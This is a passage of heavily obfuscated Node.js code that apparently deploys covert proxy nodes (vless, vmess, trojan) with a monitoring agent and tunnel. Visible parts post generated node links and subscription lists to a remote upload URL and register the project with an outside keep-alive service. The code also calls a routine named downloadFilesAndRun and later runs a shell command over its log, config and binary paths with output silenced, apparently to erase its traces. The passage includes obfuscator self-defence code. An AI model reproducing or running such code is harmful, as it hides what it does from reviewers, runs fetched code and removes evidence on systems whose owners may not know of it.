_0x46bc27=PROJECT_URL+'/'+SUB_PATH,_0x5b9352={};_0x5b9352[_0x48b7d5(0x260,0x1a5,0x1c9,0x268)+'on']=[_0x46bc27];const _0x579fcd=_0x5b9352;try{if(_0x1f9276[_0x48b7d5(0xa7,-0x57,-0x163,0x8f)]('iPKDA',_0x1f9276[_0x23f8a9(0x15,0x6f,-0x1b2,-0xb8)])){const _0x4ff65a={};_0x4ff65a[_0x23f8a9(-0x1b2,-0x2db,-0x14b,-0x21b)+'pe']=_0x1f9276[_0x23f8a9(-0x36e,-0x29b,-0x2c1,-0x306)];const _0x1c5241={};_0x1c5241['headers']=_0x4ff65a;const _0xc56ba2=await axios['post'](UPLOAD_URL+('/api/add-s'+_0x48b7d5(-0xbe,0xa8,0xe3,0x18c)+'ns'),_0x579fcd,_0x1c5241);if(_0xc56ba2&&_0xc56ba2[_0x23f8a9(-0x2de,-0x142,-0x1d6,-0x19f)]===0x1ed3+-0x209+-0x4ab*0x6){if(_0x1f9276[_0x23f8a9(-0x14,-0x1cf,-0x59,-0xee)](_0x23f8a9(-0x2d4,-0xba,-0xaf,-0x1b9),_0x1f9276[_0x48b7d5(0x155,-0x1a,0x148,-0x3b)])){const _0x5b3171=_0x49e4be[_0x23f8a9(-0x14f,-0x234,-0x30c,-0x2b4)](_0x2ef877);_0x5b3171[_0x48b7d5(-0x29,0xa6,0x59,0x3)]()&&_0x4249a4[_0x23f8a9(-0x1a3,-0x150,-0x239,-0xdb)](_0x735883);}else return console['log'](_0x1f9276['xednx']),_0xc56ba2;}else{if(_0x1f9276[_0x48b7d5(0x8f,-0x57,0xc,-0x1c4)](_0x1f9276['fqfwH'],_0x48b7d5(0x8c,-0x5c,0xd4,-0xf5))){const _0x3646d3=_0x5a05a4[_0x48b7d5(0x9b,0x16d,0x1d3,0x138)+'nc'](_0x1a5c1c,_0x48b7d5(0xe0,0x16c,0x2cc,0x1d)),_0x1298ef={};_0x1298ef[_0x23f8a9(-0x35a,-0x11b,-0x248,-0x21b)+'pe']=_0x1f9276[_0x23f8a9(-0xaf,-0x64,-0x17b,-0x11a)],_0x4c9938[_0x23f8a9(0x4,0x2b,-0x24b,-0x136)](-0x1b74+-0x197*0x9+-0x1*-0x2a8b,_0x1298ef),_0x4e1c79[_0x48b7d5(0x303,0x1d1,0x16b,0xae)](_0x3646d3);}else return null;}}else{const _0x1f7290={};_0x1f7290['v']='2',_0x1f7290['ps']=''+_0x121e29,_0x1f7290[_0x48b7d5(0x18b,0x1b8,0x2ae,0x199)]=_0x42dcce,_0x1f7290[_0x48b7d5(0x33,0x71,-0xe3,0x36)]=_0x266c81,_0x1f7290['id']=_0x573f19,_0x1f7290[_0x48b7d5(-0x1a,-0x28,-0x91,0x52)]='0',_0x1f7290[_0x48b7d5(0x8d,0x1b2,0x87,0x300)]=_0x23f8a9(-0x141,-0x95,0x65,-0x3b),_0x1f7290[_0x48b7d5(0x1ef,0x83,0x19d,-0xa7)]='ws',_0x1f7290[_0x48b7d5(0x90,-0x5b,-0x124,-0x10c)]=_0x1f9276[_0x48b7d5(-0x13e,0x2,-0x13f,-0xea)],_0x1f7290[_0x23f8a9(-0x328,-0x3f8,-0x267,-0x28e)]=_0xd879a2,_0x1f7290[_0x23f8a9(-0x185,-0x2c8,-0x10d,-0x1ad)]=_0x1f9276[_0x23f8a9(-0x316,-0x70,-0x1c5,-0x1e0)],_0x1f7290[_0x23f8a9(-0x1ec,-0x156,-0x41,-0x184)]=_0x1f9276[_0x48b7d5(0x12e,0x1c6,0xf0,0x294)],_0x1f7290[_0x48b7d5(-0x19,0x4c,-0x92,0x6a)]=_0x40b023,_0x1f7290[_0x23f8a9(-0xab,-0x141,-0xb3,-0x11d)]='',_0x1f7290['fp']=_0x23f8a9(-0x190,0xa1,-0x3,-0xd0);const _0x37d2fb=_0x1f7290,_0x57e8c9=_0x23f8a9(-0x3b5,-0x30e,-0x350,-0x2dc)+_0x29cbad+'@'+_0x4207a4+':'+_0x2fe2ae+(_0x48b7d5(-0x5d,-0xab,-0x11b,-0x169)+_0x23f8a9(0x11c,0x108,-0x19e,-0x47)+'urity=tls&'+_0x48b7d5(0x1e0,0x175,0x1c5,0x14e))+_0x160d0c+(_0x48b7d5(0x22a,0x129,0xea,0x22b)+_0x23f8a9(-0x40b,-0x43b,-0x1cd,-0x2f9)+'host=')+_0x3efa04+('&path=%2Fv'+_0x48b7d5(-0xd2,0x27,-0x148,0x18d)+'3Fed%3D256'+'0#')+_0x27d157+_0x48b7d5(0x17f,0x74,0xfe,-0x7b)+_0x223aba[_0x48b7d5(0x14b,0x164,0x185,0x129)](_0x123b14[_0x23f8a9(0x7d,-0xca,-0x219,-0xd1)](_0x37d2fb))[_0x23f8a9(-0x91,-0x4f,-0x193,-0x38)](_0x48b7d5(0x32,0x15f,0x4c,0xaf))+(_0x48b7d5(-0x60,-0x9b,0x63,0x78)+'/')+_0x1aef73+'@'+_0x5d5bcf+':'+_0x438f9c+('?security='+_0x48b7d5(0x87,0x15b,0xa2,0x20f))+_0x4fa18f+(_0x48b7d5(0xac,0x129,0x179,0x1a8)+_0x23f8a9(-0x303,-0x398,-0x22b,-0x2f9)+_0x48b7d5(0x57,-0xb5,-0x17d,-0xbd))+_0xd94811+(_0x23f8a9(-0x303,-0x211,-0xaf,-0x1be)+_0x23f8a9(-0x282,-0x2b1,-0x2ba,-0x1bb)+_0x48b7d5(0x5f,0x14e,0x132,0x1f2)+'60#')+_0x2efeb1+_0x23f8a9(-0x12f,0x95,-0xda,-0xd5);_0x11121c[_0x48b7d5(0x1bd,0x1a3,0xa5,0x209)](_0x12b143[_0x23f8a9(-0x78,0x3c,-0x15d,-0xf3)](_0x57e8c9)[_0x23f8a9(-0x66,0x33,-0x18e,-0x38)](_0x1f9276[_0x48b7d5(0x11b,0x48,-0xbc,0x146)])),_0x3aa90e[_0x23f8a9(-0x1d7,-0x2e6,-0x28b,-0x24e)+_0x48b7d5(0x123,-0x1b,-0x139,0xde)](_0x12b206,_0x2ffbd8['from'](_0x57e8c9)[_0x23f8a9(-0x14,0xcc,0x7e,-0x38)](_0x1f9276[_0x48b7d5(-0xe6,0x48,-0x113,0xc9)])),_0xec55e6[_0x48b7d5(0x2a3,0x1a3,0x20a,0x78)](_0xbb6a4e+(_0x48b7d5(0x125,0x1f8,0x2e6,0x265)+_0x23f8a9(-0x25d,-0x1fe,-0x46,-0x1b6)+_0x48b7d5(-0x9d,0xb9,0xe5,0xb4))),_0x4e8df1=_0x545e6b[_0x48b7d5(0xfa,0x164,0x1f2,0xdf)](_0x57e8c9)[_0x48b7d5(0x1cd,0x21f,0xba,0x32d)](_0x1f9276[_0x23f8a9(-0x333,-0x254,-0x1c0,-0x20f)]),_0x1f9276['WMpqy'](_0x3c7542),_0x34aa5d(_0x57e8c9);}}catch(_0x100435){if(_0x100435[_0x23f8a9(-0x271,-0x256,-0x3ca,-0x2fe)]){if(_0x1f9276[_0x48b7d5(0x67,-0x51,0x7e,0xf)]===_0x1f9276[_0x48b7d5(-0x9b,0xda,-0x3b,0x194)])_0xf3fa53[_0x48b7d5(0x70,0x17a,0x12f,0x104)](_0x23f8a9(-0x2ac,-0x18a,-0x10d,-0x247)+_0x48b7d5(0x141,0x40,0x149,0x50)+_0x48b7d5(-0xb8,0x5e,-0x13,0x170)+_0x2f92b5);else{if(_0x1f9276[_0x23f8a9(-0x21a,-0x19c,-0x226,-0x259)](_0x100435[_0x48b7d5(0xb4,-0xa7,0x49,-0x13a)][_0x48b7d5(0x199,0xb8,0x8b,0x1eb)],0x1861+-0xf4f*0x1+-0x782*0x1)){}}}}}else{if(UPLOAD_URL){if(!fs[_0x48b7d5(0x2a3,0x143,0xe0,0x243)](listPath))return;const _0x142718=fs[_0x48b7d5(0x65,0x16d,0x2c7,0x1d0)+'nc'](listPath,_0x1f9276[_0x48b7d5(0x232,0xe1,-0x24,0xd5)]),_0x2fbd96=_0x142718['split']('\x0a')[_0x48b7d5(0x99,0x132,0x89,-0x10)](_0x480b35=>/(vless|vmess|trojan|hysteria2|tuic):\/\//[_0x23f8a9(-0x1c7,-0x284,-0xc2,-0x17a)](_0x480b35));if(_0x1f9276[_0x48b7d5(0x81,-0x6f,0x109,0xfe)](_0x2fbd96['length'],0x51e+-0x1d87+0x1869))return;const _0x13c6de={};_0x13c6de[_0x48b7d5(0x68,0xd6,-0x16,0x6)]=_0x2fbd96;const _0x2d4ac9=JSON[_0x23f8a9(-0x152,-0x111,-0x1ec,-0xd1)](_0x13c6de);try{const _0x48e505={};_0x48e505[_0x48b7d5(0x12c,0x3c,0x18,0x48)+'pe']=_0x1f9276[_0x48b7d5(-0xd7,-0xaf,0x76,-0xae)];const _0xb7d173={};_0xb7d173[_0x48b7d5(0xd4,0x2f,0x17b,0x54)]=_0x48e505;const _0xb0abee=await axios[_0x48b7d5(-0xac,0x4f,-0x120,0x1b7)](UPLOAD_URL+(_0x48b7d5(0x10c,0x11b,0x1ce,0x1b9)+_0x48b7d5(-0x24,-0x7a,-0x60,0x94)),_0x2d4ac9,_0xb7d173);if(_0xb0abee&&_0xb0abee[_0x23f8a9(-0x142,-0xcf,-0x2cb,-0x19f)]===0x1*-0x1906+-0x31*-0xc7+-0xc49){if(_0x1f9276[_0x48b7d5(0x2ab,0x169,0x9a,0x173)](_0x1f9276['ZSuiv'],_0x1f9276['gGuHw']))return console[_0x48b7d5(0x18b,0x1a3,0x1c2,0x2a9)](_0x1f9276[_0x48b7d5(-0xb5,0x55,-0x87,0x1c8)]),_0xb0abee;else{if(_0x1f9276[_0x48b7d5(-0x42,0x3b,-0x97,0x159)](!_0x46fa8c,!_0x4caa5c)){_0x112089[_0x48b7d5(0x212,0x1a3,0x6b,0x2fa)](_0x1f9276[_0x48b7d5(0x1d9,0x232,0x262,0x12c)]);return;}if(_0x411198[_0x23f8a9(-0x17f,-0x28,-0x245,-0x19c)](_0x1f9276[_0x23f8a9(-0x1ff,-0x21e,-0x13c,-0x1e8)])){_0x1381f8['writeFileS'+_0x23f8a9(-0x218,-0x159,-0x373,-0x272)](_0xa450af[_0x48b7d5(-0x111,0x7,0x7b,0x80)](_0x234637,_0x1f9276['boiSb']),_0x213278);const _0x4309a8=_0x48b7d5(-0x24,0x145,0xd7,0x28f)+'\x20'+_0x11a14a[_0x48b7d5(-0x10a,-0x81,-0x16f,0x52)]('\x22')[-0x1038+0x2*-0x351+0x16e5]+(_0x23f8a9(-0x2c9,-0x360,-0x311,-0x2b1)+'ials-file:'+'\x20')+_0x7fa7a3[_0x48b7d5(0x36,0x7,0x154,-0xb0)](_0x3ee88c,_0x1f9276[_0x48b7d5(0x8f,0xea,0xff,0x24f)])+(_0x48b7d5(0x113,0x64,0x1ac,0xc5)+_0x23f8a9(-0x19f,-0x14e,-0x42b,-0x2c5)+_0x48b7d5(-0x17b,-0x3a,0xde,-0x48)+_0x23f8a9(-0x231,-0x203,-0xe9,-0x101)+'ostname:\x20')+_0x482066+(_0x48b7d5(0x26,0x195,0x12f,0x220)+'vice:\x20http'+_0x48b7d5(0x165,0x181,0x80,0x227)+_0x48b7d5(0x10d,-0x1,-0x12a,0xbe))+_0x31afbe+(_0x23f8a9(-0x130,-0x44,-0x184,-0x115)+_0x48b7d5(-0x13a,0x5,0xa8,0x23)+_0x23f8a9(-0x292,-0x2c4,-0x25a,-0x29e)+_0x23f8a9(0x68,-0xad,0x9e,-0x96)+_0x48b7d5(0x3c,-0x71,-0x85,0x9b)+_0x23f8a9(0xd,-0x94,-0x1c0,-0x6b)+'e:\x20http_st'+'atus:404\x0a\x20'+'\x20');_0x258204[_0x23f8a9(-0x2dd,-0x248,-0xf0,-0x24e)+'ync'](_0x5a9bef[_0x23f8a9(-0x3ae,-0x194,-0x132,-0x250)](_0x41546b,_0x1f9276[_0x48b7d5(0xc4,0xe3,0x166,0x89)]),_0x4309a8);}else _0x14bb9d[_0x48b7d5(0x2e1,0x1a3,0xcf,0x15f)](_0x23f8a9(-0x305,-0x264,-0x33b,-0x2e6)+_0x23f8a9(-0xf2,-0x7a,-0x2bb,-0x1ca)+_0x48b7d5(0x127,0x20e,0x34e,0x28f)+_0x48b7d5(0xe4,0x1d,-0x2c,0xa0)+'t\x20'+_0x262b9c+(_0x23f8a9(-0x69,-0x182,-0x19d,-0x3e)+_0x48b7d5(0x211,0x133,0x149,0xf9)));}}else{if(_0x1f9276[_0x23f8a9(-0x3ad,-0x1e3,-0x2e2,-0x29c)](_0x1f9276[_0x48b7d5(-0x13,0x6c,-0x39,-0x48)],_0x23f8a9(-0x228,-0x2ff,-0x44e,-0x303)))return null;else _0x464f73=_0x148356;}}catch(_0xfc303b){return null;}}else return;}}function cleanFiles(){const _0x45ed9d={};_0x45ed9d[_0x356cce(-0xe1,-0x6c,-0x182,-0xb0)]=_0x356cce(-0xbb,0xe,-0xd7,0x94)+_0x356cce(-0x391,-0x250,-0x2fe,-0x25b),_0x45ed9d[_0x118ba3(-0xdd,-0x97,-0x120,-0xe8)]=_0x118ba3(-0x1d5,-0x8c,0xdf,-0x191)+'d64.ssss.n'+_0x118ba3(0xf,-0x3f,-0xb4,0xc8),_0x45ed9d[_0x356cce(-0x12,-0x186,-0x2f6,-0x13d)]=function(_0x90d863,_0x459c5b){return _0x90d863&&_0x459c5b;};function _0x356cce(_0x3c2e10,_0x37eef1,_0x3ae517,_0x262d80){return _0x362290(_0x3c2e10-0x4c,_0x37eef1-0x9f,_0x3ae517,_0x37eef1- -0x498);}function _0x118ba3(_0x21738d,_0x28d1ce,_0x2a0aa4,_0x3b2c0f){return _0x364cea(_0x21738d-0xa4,_0x3b2c0f,_0x28d1ce-0x20e,_0x3b2c0f-0x120);}_0x45ed9d[_0x118ba3(0x1b5,0x1e6,0x1e0,0x25d)]=function(_0x4dc6bf,_0x51cdf5){return _0x4dc6bf===_0x51cdf5;},_0x45ed9d[_0x118ba3(0x2f9,0x183,0x52,0x42)]='IPqyc',_0x45ed9d['MKqyn']=_0x356cce(-0x10d,-0xdf,-0x88,0x6a);const _0x5bafcb=_0x45ed9d;setTimeout(()=>{const _0x528579={};_0x528579[_0xf718f8(0x589,0x44c,0x452,0x584)]=_0x5bafcb[_0x21f16f(0x5df,0x418,0x4ae,0x3ce)];function _0x21f16f(_0x2ae3d9,_0x3a0dfc,_0x572269,_0x217659){return _0x118ba3(_0x2ae3d9-0xce,_0x572269-0x372,_0x572269-0xee,_0x3a0dfc);}_0x528579[_0xf718f8(0x319,0x350,0x4b8,0x2f3)]=_0xf718f8(0x235,0x1d7,0x2e9,0x1a4)+'d64.ssss.n'+_0x21f16f(0x355,0x262,0x3b1,0x438),_0x528579[_0x21f16f(0x344,0x24d,0x322,0x3af)]=_0x5bafcb[_0xf718f8(0x273,0x1cc,0x1ec,0x157)];const _0x149e22=_0x528579;function _0xf718f8(_0x51b690,_0x21d04a,_0x19cc4b,_0x2f5fce){return _0x356cce(_0x51b690-0x1e3,_0x21d04a-0x40b,_0x51b690,_0x2f5fce-0x11b);}const _0x15ad50=[bootLogPath,configPath,webPath,botPath];if(NEZHA_PORT)_0x15ad50['push'](npmPath);else _0x5bafcb[_0xf718f8(0x124,0x285,0x1af,0x16f)](NEZHA_SERVER,NEZHA_KEY)&&_0x15ad50[_0x21f16f(0x64d,0x400,0x562,0x450)](phpPath);if(_0x5bafcb[_0x21f16f(0x495,0x431,0x558,0x421)](process[_0x21f16f(0x57e,0x3a8,0x408,0x312)],_0xf718f8(0xed,0x1fb,0xe6,0x2f4)))exec(_0xf718f8(0x4d2,0x446,0x3f2,0x592)+_0x15ad50[_0xf718f8(0xee,0x257,0x29d,0x201)]('\x20')+(_0x21f16f(0x1a8,0x348,0x2ea,0x179)+'1'),_0x3d3ed8=>{function _0x3dbd94(_0x1ca264,_0x257a6e,_0x38c151,_0xe2975e){return _0xf718f8(_0xe2975e,_0x257a6e- -0x329,_0x38c151-0x195,_0xe2975e-0x93);}console[_0x16cd3d(0x26a,0x3c3,0x1e3,0x126)](),console[_0x16cd3d(0x212,0x11d,0x2ca,0x123)](_0x149e22[_0x3dbd94(-0x2e,0x123,0xc0,0xe8)]);function _0x16cd3d(_0x129456,_0x50ef0d,_0x3d7401,_0x307271){return _0xf718f8(_0x3d7401,_0x129456- -0x1e1,_0x3d7401-0x1df,_0x307271-0x1ab);}console[_0x3dbd94(-0x3,0xca,0x4d,0x91)](_0x16cd3d(0x143,0x1df,0x1ae,0x43)+_0x16cd3d(0x4c,0x69,-0x117,-0x70)+_0x16cd3d(0xb0,0x1c3,0x184,0x9)+_0x16cd3d(0x1bb,0x264,0x179,0xa6));});else{if(_0x5bafcb[_0x21f16f(0x426,0x471,0x4f5,0x473)]===_0x5bafcb['MKqyn']){const _0x15c877={};_0x15c877[_0x21f16f(0x3f1,0x538,0x553,0x46e)]=_0x27da92,_0x15c877[_0xf718f8(0x27a,0x313,0x3d8,0x21b)]=_0x149e22[_0x21f16f(0x401,0x4cf,0x45f,0x524)];const _0x1ee21e={};_0x1ee21e['fileName']=_0x51a1b3,_0x1ee21e[_0x21f16f(0x430,0x3ae,0x422,0x522)]=_0x149e22[_0x21f16f(0x48d,0x232,0x322,0x3e6)],_0xc2092=[_0x15c877,_0x1ee21e];}else exec(_0xf718f8(0x24e,0x19e,0x189,0xa5)+_0x15ad50[_0xf718f8(0x1f3,0x257,0x1fc,0x334)]('\x20')+('\x20>/dev/nul'+_0x21f16f(0x40d,0x550,0x41f,0x40c)),_0x4f9239=>{console[_0x495185(0x12,0x3f,0x10e,-0x18)]();function _0x495185(_0x354211,_0x1bc5eb,_0x2fb404,_0x2310ef){return _0x21f16f(_0x354211-0x1e9,_0x354211,_0x2310ef- -0x572,_0x2310ef-0x60);}function _0x59c844(_0x53679f,_0x3146bf,_0xf439d7,_0x181f89){return _0xf718f8(_0x181f89,_0x53679f- -0xd3,_0xf439d7-0xd6,_0x181f89-0xf2);}console[_0x495185(0x99,-0x10e,-0xb6,-0x70)]('App\x20is\x20run'+'ning'),console['log'](_0x59c844(0x251,0x2b9,0x1f4,0x335)+_0x495185(-0x31e,-0x2b8,-0x132,-0x236)+_0x59c844(0x1be,0x154,0x31d,0x154)+'t,\x20enjoy!');});}},-0x227af+-0x2*0xd2ad+0x1d*0x2dad);}cleanFiles();function _0x364cea(_0x18d17f,_0x1cfc8f,_0x47dfc2,_0x510bbc){return _0x5847(_0x47dfc2- -0x360,_0x1cfc8f);}async function AddVisitTask(){const _0x36e9da={};_0x36e9da[_0x5d5a7a(0xbc,-0x54,0xb7,-0x7f)]=_0x303e63(0x10e,0x22f,0x1da,0x314);function _0x303e63(_0x1fc5c7,_0x5e8781,_0x1abafe,_0x36e015){return _0x362290(_0x1fc5c7-0x19b,_0x5e8781-0x13,_0x36e015,_0x5e8781- -0x161);}_0x36e9da[_0x303e63(0x24a,0x287,0x2ab,0x22c)]=_0x303e63(0x2a8,0x1cf,0x171,0x1c1)+_0x303e63(0x62,0x187,0x1c5,0x1c3)+_0x5d5a7a(0x162,0x1d8,0x1c7,0x207)+'t',_0x36e9da[_0x5d5a7a(0xbf,0x1f0,0xfb,0x82)]='https://am'+_0x5d5a7a(0x25c,0x300,0x284,0x3d4)+_0x303e63(0x1cc,0x2d0,0x1df,0x2cc)+'t',_0x36e9da[_0x303e63(0x12,0x141,0x2b2,-0x2)]=function(_0x5ce735,_0x28cbc3){return _0x5ce735||_0x28cbc3;},_0x36e9da[_0x303e63(0xd8,0x139,0x74,0xe6)]=function(_0x40cc71,_0x48a46b){return _0x40cc71!==_0x48a46b;},_0x36e9da[_0x303e63(0x135,0x23b,0x31b,0x224)]='KlPXR',_0x36e9da[_0x5d5a7a(0x17b,0x1a2,0x1cb,0x25f)]=function(_0x257e46,_0x4b1076){return _0x257e46!==_0x4b1076;},_0x36e9da[_0x303e63(0x295,0x3b0,0x51b,0x3dc)]=_0x303e63(0x124,0x23e,0x35f,0x3b4),_0x36e9da['EWHkP']=_0x5d5a7a(0x30,0x1b0,0x55,-0xc0);function _0x5d5a7a(_0x3ed226,_0x1415ab,_0x3c0b58,_0x29f801){return _0x362290(_0x3ed226-0x1aa,_0x1415ab-0x192,_0x29f801,_0x3c0b58- -0x26a);}_0x36e9da[_0x303e63(0x21a,0x330,0x387,0x28a)]=_0x303e63(0x1fd,0x22b,0x277,0x316)+'oo.serv00.'+_0x303e63(0x262,0x243,0x186,0x226)+'l',_0x36e9da[_0x303e63(0x40c,0x385,0x4ad,0x3a9)]=_0x5d5a7a(0x24b,0x215,0x264,0x22d)+'n/json';const _0x59eb7e=_0x36e9da;if(_0x59eb7e[_0x5d5a7a(-0x7,0xc2,0x38,0x18a)](!AUTO_ACCESS,!PROJECT_URL)){if(_0x59eb7e['NWEsN'](_0x303e63(0xff,0x113,0x1da,0x2c),_0x59eb7e[_0x5d5a7a(0x16b,0x20b,0x132,0x2a2)])){console['log'](_0x5d5a7a(0xa6,0xe3,0x1c4,0x2be)+'dding\x20auto'+_0x303e63(0x228,0x217,0x2bf,0x113)+_0x303e63(0xcf,0x115,0x262,0x20a));return;}else _0x2b4c2b[_0x5d5a7a(0x221,0x3da,0x276,0x2ef)](_0x19ff47);}try{if(_0x59eb7e[_0x5d5a7a(0x9a,0xae,0x1cb,0xd3)](_0x59eb7e[_0x303e63(0x504,0x3b0,0x3ac,0x43f)],_0x59eb7e[_0x303e63(0x106,0x1c9,0x13b,0x27f)])){const _0xf9cdb3={};_0xf9cdb3[_0x303e63(0x29f,0x262,0x237,0x28a)]=PROJECT_URL;const _0x260987=await axios[_0x5d5a7a(0x161,0x188,0xc2,-0x6f)](_0x59eb7e['PgIGp'],_0xf9cdb3,{'headers':{'Content-Type':_0x59eb7e[_0x303e63(0x389,0x385,0x4c8,0x220)]}});return console[_0x5d5a7a(0x173,0x2d1,0x216,0x25f)](_0x5d5a7a(-0x109,-0x11b,-0x1d,0xca)+_0x5d5a7a(0xbb,0xf7,0x9c,-0x61)+_0x5d5a7a(0x5e,0x8d,-0x25,0x2d)+_0x5d5a7a(0x62,-0x1e,0x8f,0x1ac)),_0x260987;}else{const _0x449ab0=_0x348f40===_0x59eb7e[_0x303e63(0xaa,0x1c0,0x18b,0x5f)]?_0x59eb7e[_0x5d5a7a(0x2e3,0xbb,0x17e,0x280)]:_0x59eb7e['KYizo'],_0x4a6a6e={};_0x4a6a6e[_0x303e63(0x324,0x370,0x365,0x273)]=_0xe31414,_0x4a6a6e[_0x303e63(0x251,0x23f,0x37a,0x191)]=_0x449ab0,_0x55e1f5[_0x5d5a7a(0xdf,0x27d,0x249,0x32c)](_0x4a6a6e);}}catch(_0x5f04b5){return console[_0x5d5a7a(0x281,0xa8,0x1ed,0x247)](_0x5d5a7a(-0x30,-0x2f,0xe1,0x14c)+'tic\x20access'+_0x5d5a7a(-0x8f,0x67,0xe0,0x1f4)+_0x5d5a7a(0xa6,0xc7,0x84,-0x26)+_0x5f04b5[_0x5d5a7a(-0x75,-0xde,0x97,0x88)]),null;}}async function startserver(){function _0x4797fa(_0x3f19df,_0x26dd34,_0x3dec7e,_0xbb1188){return _0x362290(_0x3f19df-0xc9,_0x26dd34-0x92,_0xbb1188,_0x26dd34- -0x35b);}const _0x19f7bf={'DwUUZ':_0x4797fa(-0x81,-0xf0,-0x145,0x75)+_0x4797fa(0x1f3,0x11c,0x190,0x155)+_0x5ae5a7(-0x1cd,-0x6c,-0x6a,-0x11e),'ARaRs':_0x5ae5a7(-0x1fe,-0xc0,-0x10d,-0x13d)+_0x4797fa(0x11a,0x12f,0x1d5,0x235),'VYZYY':function(_0x467af2){return _0x467af2();},'omFBA':function(_0x42afff){return _0x42afff();},'GmuKc':function(_0x1fcf1a,_0x106232){return _0x1fcf1a===_0x106232;},'YKHep':'syAxX','huGmQ':_0x5ae5a7(-0x32b,-0x383,-0x236,-0x300)+_0x5ae5a7(-0x281,-0x365,-0x407,-0x30c)+':'};function _0x5ae5a7(_0xa8c7aa,_0x47d7dd,_0xcf77ae,_0x3624a7){return _0x364cea(_0xa8c7aa-0x1f3,_0xa8c7aa,_0x3624a7- -0x69,_0x3624a7-0xdc);}try{const _0x271682=_0x19f7bf[_0x4797fa(0x15e,0xb2,-0xd,-0x87)]['split']('|');let _0x9ff3a9=-0x1*-0x1b79+-0x95f+-0x121a;while(!![]){switch(_0x271682[_0x9ff3a9++]){case'0':await AddVisitTask();continue;case'1':argoType();continue;case'2':await _0x19f7bf[_0x5ae5a7(-0x26b,-0x237,-0x132,-0x13a)](generateConfig);continue;case'3':_0x19f7bf[_0x5ae5a7(-0xe,-0x1e8,-0x294,-0x13a)](cleanupOldFiles);continue;case'4':await _0x19f7bf[_0x4797fa(0x5,0xd2,0x6,-0x8d)](downloadFilesAndRun);continue;case'5':deleteNodes();continue;case'6':await _0x19f7bf[_0x5ae5a7(-0x390,-0x308,-0x29b,-0x27c)](extractDomains);continue;}break;}}catch(_0x597d88){if(_0x19f7bf[_0x4797fa(0x1b1,0x12d,0x8a,0x32)](_0x4797fa(-0x115,-0x9,0x66,0x3c),_0x19f7bf[_0x5ae5a7(-0x321,-0x2bc,-0x213,-0x22b)]))console['error'](_0x19f7bf['huGmQ'],_0x597d88);else{const _0x379e16={};_0x379e16[_0x5ae5a7(-0x2d0,-0x301,-0x31f,-0x24e)+'pe']=_0x19f7bf[_0x5ae5a7(-0x2b3,-0x341,-0x42b,-0x2fd)],_0x332477['writeHead'](-0x1021+0x1d*-0x3d+0x17d2,_0x379e16),_0x33b56b[_0x4797fa(0x1b2,0x153,0x25,0x1a6)](_0x256387);}}}startserver()['catch'](_0x43d8b3=>{function _0x44e3a6(_0x55ab69,_0x8d1e58,_0xb0bd41,_0x2442f5){return _0x362290(_0x55ab69-0x18c,_0x8d1e58-0x136,_0x2442f5,_0x55ab69-0x19f);}function _0x25dda0(_0x1ae9c3,_0x31ed64,_0x375c58,_0xc0b97d){return _0x364cea(_0x1ae9c3-0xd8,_0x375c58,_0x31ed64-0x5fb,_0xc0b97d-0xcb);}console['error'](_0x25dda0(0x1f4,0x32a,0x358,0x305)+_0x44e3a6(0x43e,0x315,0x46c,0x556)+_0x44e3a6(0x3fa,0x41f,0x4f7,0x327)+':',_0x43d8b3);});function _0x5847(_0x357292,_0x140035){const _0x20edef=_0x569a();return _0x5847=function(_0x18f42e,_0x2e091c){_0x18f42e=_0x18f42e-(-0x72b+0x1fb2+-0x1b7*0xe);let _0x17e62b=_0x20edef[_0x18f42e];if(_0x5847['ZTZdCL']===undefined){var _0x19ddcf=function(_0xace856){const _0x55da8a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x5d1052='',_0x3d139c='',_0x1d07db=_0x5d1052+_0x19ddcf;for(let _0x45e944=0x88f*-0x2+-0x1*-0x25d9+0x6e9*-0x3,_0x17f8f7,_0x21d713,_0x30c899=0x1a*-0x4a+0x6c6+-0xbe*-0x1;_0x21d713=_0xace856['charAt'](_0x30c899++);~_0x21d713&&(_0x17f8f7=_0x45e944%(0x310+-0x259*-0xd+-0x2191)?_0x17f8f7*(0x2e*0x7+0x26ac+-0x27ae)+_0x21d713:_0x21d713,_0x45e944++%(-0x21f7+0x203d+-0x1be*-0x1))?_0x5d1052+=_0x1d07db['charCodeAt'](_0x30c899+(-0xa6f+-0x9*-0x1b+0x986))-(-0x2509+-0x17*-0xa4+-0x13*-0x12d)!==0x176b+-0xa*0x225+-0x5*0x65?String['fromCharCode'](-0x1*-0x887+0x1997+-0x8b*0x3d&_0x17f8f7>>(-(-0x14a5*-0x1+0xc5b*-0x1+0x848*-0x1)*_0x45e944&0x1e64+-0x10c5+-0xd99)):_0x45e944:0xa5*-0x12+0x521+0x679){_0x21d713=_0x55da8a['indexOf'](_0x21d713);}for(let _0x2c50e6=-0xa81*-0x3+-0x9*0xa1+-0x19da,_0x1c80a3=_0x5d1052['length'];_0x2c50e6<_0x1c80a3;_0x2c50e6++){_0x3d139c+='%'+('00'+_0x5d1052['charCodeAt'](_0x2c50e6)['toString'](-0x7*-0x1eb+-0x5*0x5ad+-0x1*-0xf04))['slice'](-(0x3*-0x3fd+0x1250+0x1*-0x657));}return decodeURIComponent(_0x3d139c);};_0x5847['ZBVMUT']=_0x19ddcf,_0x357292=arguments,_0x5847['ZTZdCL']=!![];}const _0x1da1c9=_0x20edef[-0x1036+0x1f44+-0xf0e],_0x4a994c=_0x18f42e+_0x1da1c9,_0x534cb8=_0x357292[_0x4a994c];if(!_0x534cb8){const _0x2a9087=function(_0xe2f16a){this['FgmyCv']=_0xe2f16a,this['lfmXRw']=[-0x1ab+0x28d*0xa+-0x36*0x71,0x1*-0x1342+-0x3b*0x14+-0x1*-0x17de,0x61*0x12+0xef4+-0xae3*0x2],this['ytLutn']=function(){return'newState';},this['XhuDEv']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['ZAbnYH']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x2a9087['prototype']['ngsvgM']=function(){const _0x57310b=new RegExp(this['XhuDEv']+this['ZAbnYH']),_0x4b4ad2=_0x57310b['test'](this['ytLutn']['toString']())?--this['lfmXRw'][0x8b6*0x1+0x692+0x1*-0xf47]:--this['lfmXRw'][-0x32*0x72+-0xb1*-0x1+-0x7*-0x315];return this['EPaViV'](_0x4b4ad2);},_0x2a9087['prototype']['EPaViV']=function(_0x13b2d6){if(!Boolean(~_0x13b2d6))return _0x13b2d6;return this['zIWMHa'](this['FgmyCv']);},_0x2a9087['prototype']['zIWMHa']=function(_0x1d4218){for(let 